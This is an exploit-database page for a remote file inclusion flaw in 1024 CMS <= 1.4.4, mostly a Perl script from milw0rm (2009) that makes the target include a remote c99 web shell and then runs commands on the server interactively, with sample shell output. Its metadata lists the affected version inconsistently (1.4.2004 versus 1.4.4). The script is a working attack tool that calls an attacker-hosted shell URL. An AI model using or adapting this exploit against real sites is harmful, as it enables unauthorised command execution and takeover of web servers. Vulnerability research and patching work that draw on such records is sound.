1024 CMS - exploit.company

vendor:

1024 CMS

by:

JosS

9.3

CVSS

HIGH

Remote File Inclusion (RFI)

CWE

Product Name: 1024 CMS

Affected Version From: 1.4.2004

Affected Version To: 1.4.2004

Patch Exists: YES

Related CWE: N/A

CPE: a:1024cms:1024_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2008

1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit

This exploit allows an attacker to execute arbitrary code on a vulnerable system. It is based on a vulnerability in 1024 CMS version 1.4.4, which allows an attacker to inject malicious code into the application via a Remote File Inclusion (RFI) attack. The malicious code is then executed on the vulnerable system.

Mitigation:

To mitigate this vulnerability, administrators should ensure that the application is running the latest version of 1024 CMS and that all security patches are applied. Additionally, administrators should ensure that the application is configured to use secure authentication methods and that all user input is properly sanitized.

Source

Exploit-DB raw data:

#!/usr/bin/perl
####################################################################
# 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit
# download: http://www.trebledesigns.com/1024cms.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" allow_url_include = On && register_globals = On
#
# RFI vuln!: [/themes/default/layouts/standard.php]
#    <?php
#      if($page_ck['custom'] == 'N' || isset($page_include)) {
#       if(!isset($page_include)) include("./pages/".$page."/default/content.php");
#     else include($page_include);
#       } else {
#     ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "[x] 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit\n";
	print "[x] Written By JosS\n";
	print "[x] sys-project[at]hotmail[dot]com\n\n";
	print "[+] Usage:\n";
	print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
	print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/themes/default/layouts/standard.php?page_include=" . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__

# milw0rm.com [2009-02-06]